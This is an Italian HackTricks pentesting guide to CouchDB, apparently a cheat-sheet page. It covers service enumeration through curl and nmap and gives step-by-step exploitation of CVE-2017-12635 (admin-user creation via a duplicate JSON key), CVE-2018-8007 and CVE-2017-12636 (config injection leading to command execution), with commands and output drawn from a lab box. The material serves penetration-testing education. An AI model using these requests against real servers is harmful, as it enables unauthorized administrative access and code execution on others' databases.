hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
2024-02-10 13:03:23 +00:00

20 KiB

5984,6984 - Pentesting CouchDB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

CouchDB è un versatile e potente database orientato ai documenti che organizza i dati utilizzando una struttura mappa chiave-valore all'interno di ogni documento. I campi all'interno del documento possono essere rappresentati come coppie chiave/valore, liste o mappe, offrendo flessibilità nella memorizzazione e nel recupero dei dati.

Ogni documento memorizzato in CouchDB viene assegnato un identificatore univoco (_id) a livello di documento. Inoltre, ogni modifica apportata e salvata nel database viene assegnata un numero di revisione (_rev). Questo numero di revisione consente un tracciamento efficiente e una gestione delle modifiche, facilitando il recupero e la sincronizzazione dei dati all'interno del database.

Porta predefinita: 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Enumerazione Automatica

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Intestazione

La fase di enumerazione manuale inizia con l'acquisizione dell'intestazione del servizio CouchDB. L'intestazione contiene informazioni utili come la versione del software e altre informazioni di configurazione. Per ottenere l'intestazione, è possibile utilizzare il comando curl seguito dall'URL del servizio CouchDB:

curl -I http://<indirizzo_IP>:5984

Database Enumeration

La successiva fase di enumerazione manuale coinvolge l'individuazione dei database presenti nel servizio CouchDB. Per fare ciò, è possibile utilizzare il comando curl seguito dall'URL del servizio CouchDB e dalla directory _all_dbs:

curl -X GET http://<indirizzo_IP>:5984/_all_dbs

Document Enumeration

Una volta individuati i database, è possibile enumerare i documenti presenti in ciascun database. Per fare ciò, è possibile utilizzare il comando curl seguito dall'URL del servizio CouchDB e dal nome del database desiderato:

curl -X GET http://<indirizzo_IP>:5984/<nome_database>

User Enumeration

Infine, è possibile enumerare gli utenti presenti nel servizio CouchDB. Per fare ciò, è possibile utilizzare il comando curl seguito dall'URL del servizio CouchDB e dalla directory _users:

curl -X GET http://<indirizzo_IP>:5984/_users

Durante l'enumerazione manuale, è importante prestare attenzione alle informazioni sensibili che possono essere ottenute, come nomi utente, password o altre informazioni di autenticazione.

curl http://IP:5984/

Questo invia una richiesta GET all'istanza di CouchDB installata. La risposta dovrebbe assomigliare a una delle seguenti:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Nota che se accedi alla root di CouchDB riceverai un 401 Unauthorized con qualcosa del genere: {"error":"unauthorized","reason":"Authentication required."} non sarai in grado di accedere al banner o a qualsiasi altro endpoint. {% endhint %}

Enumerazione delle informazioni

Questi sono gli endpoint a cui puoi accedere con una richiesta GET ed estrarre alcune informazioni interessanti. Puoi trovare altri endpoint e descrizioni più dettagliate nella documentazione di CouchDB.

  • /_active_tasks Elenco delle attività in esecuzione, inclusi il tipo di attività, il nome, lo stato e l'ID del processo.
  • /_all_dbs Restituisce un elenco di tutti i database nell'istanza di CouchDB.
  • /_cluster_setup Restituisce lo stato del nodo o del cluster, secondo la configurazione del cluster.
  • /_db_updates Restituisce un elenco di tutti gli eventi del database nell'istanza di CouchDB. L'esistenza del database _global_changes è necessaria per utilizzare questo endpoint.
  • /_membership Mostra i nodi che fanno parte del cluster come cluster_nodes. Il campo all_nodes mostra tutti i nodi conosciuti da questo nodo, inclusi quelli che fanno parte del cluster.
  • /_scheduler/jobs Elenco dei lavori di replica. Ogni descrizione del lavoro includerà informazioni sulla sorgente e sul target, l'ID della replica, un elenco degli eventi recenti e altre informazioni.
  • /_scheduler/docs Elenco degli stati dei documenti di replica. Include informazioni su tutti i documenti, anche negli stati completed e failed. Per ogni documento restituisce l'ID del documento, il database, l'ID della replica, la sorgente e il target, e altre informazioni.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} L'endpoint /_node/{node-name} può essere utilizzato per confermare il nome del nodo Erlang del server che elabora la richiesta. Questo è particolarmente utile quando si accede a /_node/_local per recuperare queste informazioni.
  • /_node/{node-name}/_stats La risorsa _stats restituisce un oggetto JSON contenente le statistiche del server in esecuzione. La stringa letterale _local funge da alias per il nome del nodo locale, quindi per tutte le URL delle statistiche, {node-name} può essere sostituito con _local, per interagire con le statistiche del nodo locale.
  • /_node/{node-name}/_system La risorsa _system restituisce un oggetto JSON contenente varie statistiche di livello di sistema per il server in esecuzione. Puoi utilizzare _local come {node-name} per ottenere le informazioni sul nodo corrente.
  • /_node/{node-name}/_restart
  • /_up Conferma che il server è attivo, in esecuzione e pronto a rispondere alle richieste. Se maintenance_mode è true o nolb, l'endpoint restituirà una risposta 404.
  • /_uuids Richiede uno o più Identificatori Unici Universali (UUID) dall'istanza di CouchDB.
  • /_reshard Restituisce il conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato del ridimensionamento del cluster.

Altre informazioni interessanti possono essere estratte come spiegato qui: https://lzone.de/cheat-sheet/CouchDB

Elenco dei database

curl -X GET http://IP:5984/_all_dbs

Se la richiesta risponde con un 401 non autorizzato, allora hai bisogno di delle credenziali valide per accedere al database:

curl -X GET http://user:password@IP:5984/_all_dbs

Per trovare credenziali valide potresti provare a forzare il servizio.

Questo è un esempio di una risposta di couchdb quando hai privilegi sufficienti per elencare i database (È solo un elenco di dbs):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informazioni sul database

È possibile ottenere alcune informazioni sul database (come il numero di file e le dimensioni) accedendo al nome del database:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Elenco dei documenti

Elencare ogni voce all'interno di un database

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Leggi Documento

Leggi il contenuto di un documento all'interno di un database:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Escalazione dei privilegi di CouchDB CVE-2017-12635

Grazie alle differenze tra i parser JSON di Erlang e JavaScript, è possibile creare un utente amministratore con le credenziali hacktricks:hacktricks con la seguente richiesta:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Ulteriori informazioni su questa vulnerabilità qui.

CouchDB RCE

Esempio da qui.

Nella documentazione di CouchDB, nello specifico nella sezione riguardante la configurazione del cluster (link), viene discusso l'utilizzo delle porte da parte di CouchDB in modalità cluster. Viene menzionato che, come nella modalità standalone, viene utilizzata la porta 5984. Inoltre, la porta 5986 è destinata alle API locali del nodo e, in modo importante, Erlang richiede la porta TCP 4369 per il demone del mappatore delle porte Erlang (EPMD), che facilita la comunicazione tra i nodi all'interno di un cluster Erlang. Questa configurazione forma una rete in cui ogni nodo è collegato a ogni altro nodo.

Viene evidenziato un importante avviso di sicurezza riguardante la porta 4369. Se questa porta è resa accessibile su Internet o su una rete non attendibile, la sicurezza del sistema dipende fortemente da un identificatore univoco noto come "cookie". Questo cookie funge da protezione. Ad esempio, in un elenco di processi, potrebbe essere osservato un cookie chiamato "monster", indicando il suo ruolo operativo nel framework di sicurezza del sistema.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Per coloro interessati a capire come questo "cookie" possa essere sfruttato per l'esecuzione remota di codice (RCE) nel contesto dei sistemi Erlang, è disponibile una sezione dedicata per ulteriori approfondimenti. Essa dettaglia le metodologie per sfruttare i cookie Erlang in modo non autorizzato al fine di ottenere il controllo sui sistemi. Puoi esplorare la guida dettagliata sull'abuso dei cookie Erlang per RCE qui.

Sfruttare CVE-2018-8007 tramite la modifica di local.ini

Esempio da qui.

È stata esplorata una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB, rivelando che lo sfruttamento richiede le autorizzazioni di scrittura per il file local.ini. Sebbene non sia direttamente applicabile al sistema di destinazione iniziale a causa di restrizioni di sicurezza, sono state apportate modifiche per concedere l'accesso in scrittura al file local.ini a scopo esplorativo. Sono forniti di seguito passaggi dettagliati ed esempi di codice, che illustrano il processo.

Innanzitutto, l'ambiente viene preparato assicurandosi che il file local.ini sia scrivibile, verificando i permessi tramite la lista:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Per sfruttare la vulnerabilità, viene eseguito un comando curl, mirando alla configurazione cors/origins in local.ini. Questo inietta un nuovo origin insieme a comandi aggiuntivi nella sezione [os_daemons], al fine di eseguire codice arbitrario:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

La verifica successiva mostra la configurazione iniettata in local.ini, confrontandola con un backup per evidenziare le modifiche:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Inizialmente, il file previsto (/tmp/0xdf) non esiste, indicando che il comando iniettato non è ancora stato eseguito. Ulteriori indagini rivelano che sono in esecuzione processi correlati a CouchDB, incluso uno che potrebbe potenzialmente eseguire il comando iniettato:

root@canape:/home/homer/bin# ps aux | grep couch

Terminando il processo CouchDB identificato e consentendo al sistema di riavviarlo automaticamente, viene attivata l'esecuzione del comando iniettato, confermata dall'esistenza del file precedentemente mancante:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in specifiche condizioni, in particolare la necessità di avere accesso in scrittura al file local.ini. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.

Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: CVE-2018-8007.

Esplorazione di CVE-2017-12636 con permessi di scrittura su local.ini

Esempio da qui.

È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene specifiche configurazioni possano impedirne lo sfruttamento. Nonostante siano disponibili numerosi riferimenti di Proof of Concept (POC) online, sono necessari alcuni aggiustamenti per sfruttare la vulnerabilità nella versione 2 di CouchDB, diversa dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query attesi.

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Per adattarsi alla versione 2.0 di CouchDB, viene utilizzato un nuovo percorso:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

I tentativi di aggiungere e invocare un nuovo server di query sono stati bloccati da errori legati ai permessi, come indicato dall'output seguente:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Ulteriori indagini hanno rivelato problemi di autorizzazione con il file local.ini, che non era scrivibile. Modificando i permessi del file con accesso root o homer, è stato possibile procedere:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

I successivi tentativi di aggiungere il server di query sono riusciti, come dimostrato dall'assenza di messaggi di errore nella risposta. La modifica riuscita del file local.ini è stata confermata tramite confronto dei file:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Il processo è proseguito con la creazione di un database e di un documento, seguito da un tentativo di eseguire del codice tramite una vista personalizzata mappata al nuovo server di query aggiunto:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Un riassunto con un payload alternativo fornisce ulteriori informazioni sull'exploit di CVE-2017-12636 in specifiche condizioni. Risorse utili per sfruttare questa vulnerabilità includono:

Shodan

  • port:5984 couchdb

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: